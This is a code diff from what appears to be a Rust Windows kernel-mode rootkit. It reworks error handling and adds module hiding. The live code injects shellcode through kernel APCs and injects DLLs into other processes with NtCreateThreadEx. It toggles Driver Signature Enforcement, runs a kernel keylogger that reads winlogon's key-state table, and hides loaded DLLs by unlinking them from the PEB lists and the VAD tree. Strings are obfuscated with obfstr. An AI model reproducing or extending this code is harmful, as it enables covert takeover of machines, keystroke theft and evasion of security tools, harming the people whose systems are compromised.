log::error!("PoolMemory (Kernel) Failed");
|
||||||
}
|
STATUS_UNSUCCESSFUL
|
||||||
|
})?;
|
||||||
|
|
||||||
KeInitializeApc(
|
KeInitializeApc(
|
||||||
kernel_apc,
|
kernel_apc,
|
||||||
@@ -221,15 +199,15 @@ impl InjectionShellcode {
|
|||||||
|
|
||||||
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
||||||
log::error!("KeInsertQueueApc (User) Failed");
|
log::error!("KeInsertQueueApc (User) Failed");
|
||||||
return STATUS_UNSUCCESSFUL;
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
}
|
}
|
||||||
|
|
||||||
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
||||||
log::error!("KeInsertQueueApc (Kernel) Failed");
|
log::error!("KeInsertQueueApc (Kernel) Failed");
|
||||||
return STATUS_UNSUCCESSFUL;
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -245,24 +223,12 @@ impl InjectionDLL {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS {
|
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||||
let pid = (*target).pid;
|
let pid = (*target).pid;
|
||||||
let path = (*target).path.as_bytes();
|
let path = (*target).path.as_bytes();
|
||||||
|
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(addr) => addr as *mut c_void,
|
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
|
|
||||||
Some(addr) => addr,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let target_eprocess = match Process::new(pid) {
|
|
||||||
Some(e_process) => e_process,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
let mut h_process: HANDLE = null_mut();
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
@@ -273,16 +239,17 @@ impl InjectionDLL {
|
|||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||||
return status;
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let h_process = Handle::new(h_process);
|
||||||
|
|
||||||
let mut base_address = null_mut();
|
let mut base_address = null_mut();
|
||||||
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
||||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut result_number = 0;
|
let mut result_number = 0;
|
||||||
@@ -297,11 +264,10 @@ impl InjectionDLL {
|
|||||||
);
|
);
|
||||||
|
|
||||||
let mut old_protect = 0;
|
let mut old_protect = 0;
|
||||||
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||||
@@ -311,7 +277,7 @@ impl InjectionDLL {
|
|||||||
&mut h_thread,
|
&mut h_thread,
|
||||||
THREAD_ALL_ACCESS,
|
THREAD_ALL_ACCESS,
|
||||||
&mut obj_attr,
|
&mut obj_attr,
|
||||||
h_process,
|
h_process.get(),
|
||||||
transmute(function_address),
|
transmute(function_address),
|
||||||
base_address,
|
base_address,
|
||||||
0,
|
0,
|
||||||
@@ -322,13 +288,11 @@ impl InjectionDLL {
|
|||||||
);
|
);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ZwClose(h_process);
|
|
||||||
ZwClose(h_thread);
|
ZwClose(h_thread);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -171,13 +171,12 @@ pub unsafe extern "system" fn shadow_entry(
|
|||||||
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
||||||
status = handler(irp, stack);
|
handler(irp, stack)
|
||||||
} else {
|
} else {
|
||||||
status = STATUS_INVALID_DEVICE_REQUEST;
|
STATUS_INVALID_DEVICE_REQUEST
|
||||||
}
|
};
|
||||||
|
|
||||||
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
||||||
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
||||||
|
|||||||
@@ -1,10 +1,11 @@
|
|||||||
use {
|
use {
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
|
||||||
super::keylogger::set_keylogger_state,
|
super::keylogger::set_keylogger_state,
|
||||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||||
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}},
|
alloc::boxed::Box,
|
||||||
|
hashbrown::HashMap,
|
||||||
|
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER},
|
||||||
|
structs::{Keylogger, DSE}},
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||||
@@ -12,9 +13,15 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|||||||
// Responsible for enabling/disabling DSE.
|
// Responsible for enabling/disabling DSE.
|
||||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ENABLE_DSE");
|
log::info!("Received IOCTL_ENABLE_DSE");
|
||||||
|
|
||||||
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// Start / Stop Keylogger
|
// Start / Stop Keylogger
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ use {
|
|||||||
get_ks_byte, get_ks_down_bit,
|
get_ks_byte, get_ks_down_bit,
|
||||||
includes::MmCopyVirtualMemory,
|
includes::MmCopyVirtualMemory,
|
||||||
is_key_down, set_key_down,
|
is_key_down, set_key_down,
|
||||||
utils::{get_address_asynckey, get_module_base_address, get_process_by_name},
|
utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name},
|
||||||
},
|
},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::{
|
ntddk::{
|
||||||
@@ -172,20 +172,10 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
|||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
|
|
||||||
let winlogon_eprocess = match WINLOGON_EPROCESS.as_ref() {
|
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
|
||||||
Some(p) => p,
|
|
||||||
None => return None
|
|
||||||
};
|
|
||||||
|
|
||||||
let module_address = match get_module_base_address(obfstr!("win32kbase.sys")) {
|
|
||||||
Some(addr) => addr,
|
|
||||||
None => return None
|
|
||||||
};
|
|
||||||
let function_address = match get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
|
|
||||||
Some(addr) => addr,
|
|
||||||
None => return None,
|
|
||||||
};
|
|
||||||
|
|
||||||
|
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||||
|
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
|
||||||
|
|
||||||
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
|
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
|
||||||
@@ -203,7 +193,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
|||||||
|
|
||||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||||
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
||||||
log::info!("gafAsyncKeyState address: {:?}", gaf_async_key_state);
|
|
||||||
|
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
@@ -225,5 +214,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
|||||||
///
|
///
|
||||||
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
|
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
|
||||||
STATUS = (*info).enable;
|
STATUS = (*info).enable;
|
||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,17 +1,39 @@
|
|||||||
use {
|
use {
|
||||||
alloc::boxed::Box,
|
alloc::boxed::Box,
|
||||||
hashbrown::HashMap,
|
hashbrown::HashMap,
|
||||||
shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}},
|
shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}},
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
|
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||||
|
|
||||||
|
// Enumerate Modules
|
||||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
||||||
|
|
||||||
let mut information = 0;
|
let mut information = 0;
|
||||||
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
// Hide Modules
|
||||||
|
ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_HIDE_MODULE");
|
||||||
|
|
||||||
|
let status = unsafe { handle_module!(stack, Module::hide_module, TargetModule) };
|
||||||
|
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0};
|
||||||
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
}
|
}
|
||||||
@@ -1,63 +1,73 @@
|
|||||||
extern crate alloc;
|
|
||||||
|
|
||||||
use {
|
use {
|
||||||
crate::{includes::{PsGetProcessPeb, MmCopyVirtualMemory}, process::Process},
|
crate::{
|
||||||
|
includes::{
|
||||||
|
structs::MMVAD_SHORT, vad::MMVAD,
|
||||||
|
MmCopyVirtualMemory, PsGetProcessPeb
|
||||||
|
},
|
||||||
|
process::Process, utils::pool::PoolMemory
|
||||||
|
},
|
||||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||||
shared::structs::{ModuleInfo, TargetProcess},
|
shared::structs::{ModuleInfo, TargetProcess, TargetModule},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::{
|
ntddk::{
|
||||||
ExAllocatePool2, ExFreePool, IoGetCurrentProcess, KeStackAttachProcess,
|
IoGetCurrentProcess, KeStackAttachProcess,
|
||||||
KeUnstackDetachProcess,
|
KeUnstackDetachProcess,
|
||||||
},
|
},
|
||||||
KAPC_STATE, NTSTATUS, STATUS_INVALID_PARAMETER,
|
FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
||||||
STATUS_SUCCESS, STATUS_UNSUCCESSFUL, _MODE::KernelMode, POOL_FLAG_NON_PAGED
|
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||||
|
_MODE::KernelMode
|
||||||
},
|
},
|
||||||
winapi::shared::ntdef::LIST_ENTRY
|
winapi::shared::ntdef::LIST_ENTRY
|
||||||
};
|
};
|
||||||
|
|
||||||
pub mod ioctls;
|
pub mod ioctls;
|
||||||
|
pub mod vad;
|
||||||
|
|
||||||
/// Represents a module in the operating system.
|
/// Represents a module in the operating system.
|
||||||
pub struct Module;
|
pub struct Module;
|
||||||
|
|
||||||
impl Module {
|
impl Module {
|
||||||
|
|
||||||
|
/// VAD Type for an image map.
|
||||||
|
const VAD_IMAGE_MAP: u32 = 2;
|
||||||
|
|
||||||
/// Enumerates modules in a given target process.
|
/// Enumerates modules in a given target process.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
/// - `process`: A pointer to the target process (`*mut TargetProcess`) to enumerate modules from.
|
/// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
||||||
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the modules.
|
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
||||||
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
|
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
||||||
///
|
///
|
||||||
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> NTSTATUS {
|
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
log::info!("Starting module enumeration");
|
log::info!("Starting module enumeration");
|
||||||
|
|
||||||
let pid = (*process).pid;
|
let pid = (*process).pid;
|
||||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
||||||
let temp_info = ExAllocatePool2(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) as *mut ModuleInfo;
|
|
||||||
|
|
||||||
if temp_info.is_null() {
|
// Allocates memory for temporarily storing module information
|
||||||
log::error!("ExAllocatePool2 Failed to Allocate Memory");
|
let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd"))
|
||||||
return STATUS_UNSUCCESSFUL
|
.map(|mem| mem.ptr as *mut ModuleInfo)
|
||||||
}
|
.ok_or_else(|| {
|
||||||
|
log::error!("PoolMemory (Module) Failed");
|
||||||
let target = match Process::new(pid) {
|
STATUS_UNSUCCESSFUL
|
||||||
Some(p) => p,
|
})?;
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
|
// Attaches the target process to the current context
|
||||||
|
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
|
||||||
|
// Gets the PEB (Process Environment Block) of the target process
|
||||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
ExFreePool(temp_info as _);
|
return Err(STATUS_INVALID_PARAMETER);
|
||||||
return STATUS_INVALID_PARAMETER;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Enumerates the loaded modules from the InLoadOrderModuleList
|
||||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
let mut count = 0;
|
let mut count = 0;
|
||||||
@@ -66,37 +76,28 @@ impl Module {
|
|||||||
if next.is_null() {
|
if next.is_null() {
|
||||||
log::error!("Next LIST_ENTRY is null");
|
log::error!("Next LIST_ENTRY is null");
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
ExFreePool(temp_info as _);
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
if list_entry.is_null() {
|
if list_entry.is_null() {
|
||||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
ExFreePool(temp_info as _);
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
// Retrieves the full module name
|
||||||
(*list_entry).FullDllName.Buffer,
|
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||||
((*list_entry).FullDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
if buffer.is_empty() {
|
if buffer.is_empty() {
|
||||||
log::error!("Buffer for module name is empty");
|
log::error!("Buffer for module name is empty");
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
ExFreePool(temp_info as _);
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Module name
|
// Populates the `ModuleInfo` structure with name, address, and index
|
||||||
let name = &mut (*temp_info.offset(count)).name.as_mut();
|
let name = &mut (*temp_info.offset(count)).name.as_mut();
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
|
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*temp_info.offset(count)).index = count as u8;
|
(*temp_info.offset(count)).index = count as u8;
|
||||||
|
|
||||||
count += 1;
|
count += 1;
|
||||||
@@ -104,8 +105,10 @@ impl Module {
|
|||||||
next = (*next).Flink;
|
next = (*next).Flink;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Detaches the target process
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
// Copies module information to the caller's space
|
||||||
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||||
let mut return_size = 0;
|
let mut return_size = 0;
|
||||||
MmCopyVirtualMemory(
|
MmCopyVirtualMemory(
|
||||||
@@ -118,10 +121,160 @@ impl Module {
|
|||||||
&mut return_size,
|
&mut return_size,
|
||||||
);
|
);
|
||||||
|
|
||||||
ExFreePool(temp_info as _);
|
|
||||||
|
|
||||||
*information = count as usize * core::mem::size_of::<ModuleInfo>();
|
*information = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides a module in a target process by removing its entries from the module list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status.
|
||||||
|
///
|
||||||
|
pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
|
||||||
|
let pid = (*target).pid;
|
||||||
|
let module_name = &(*target).module_name.to_lowercase();
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
|
|
||||||
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Err(STATUS_INVALID_PARAMETER);
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
let mut address = core::ptr::null_mut();
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
log::error!("Next LIST_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
log::error!("Buffer for module name is empty");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
|
}
|
||||||
|
|
||||||
|
let dll_name = alloc::string::String::from_utf16_lossy(&buffer);
|
||||||
|
if module_name.contains(&dll_name.to_lowercase()) {
|
||||||
|
// Removes the module from the load order list
|
||||||
|
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).HashLinks);
|
||||||
|
address = (*list_entry).DllBase;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Detaches the target process
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
if !address.is_null() {
|
||||||
|
Self::hide_vad(address as u64, target);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides a VAD (Virtual Address Descriptor) in the target process.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target_address`: The address of the module to hide.
|
||||||
|
/// - `target_eprocess`: The target process structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
||||||
|
///
|
||||||
|
pub unsafe fn hide_vad(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
|
||||||
|
let vad_root = 0x7d8;
|
||||||
|
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root) as *mut RTL_BALANCED_NODE;
|
||||||
|
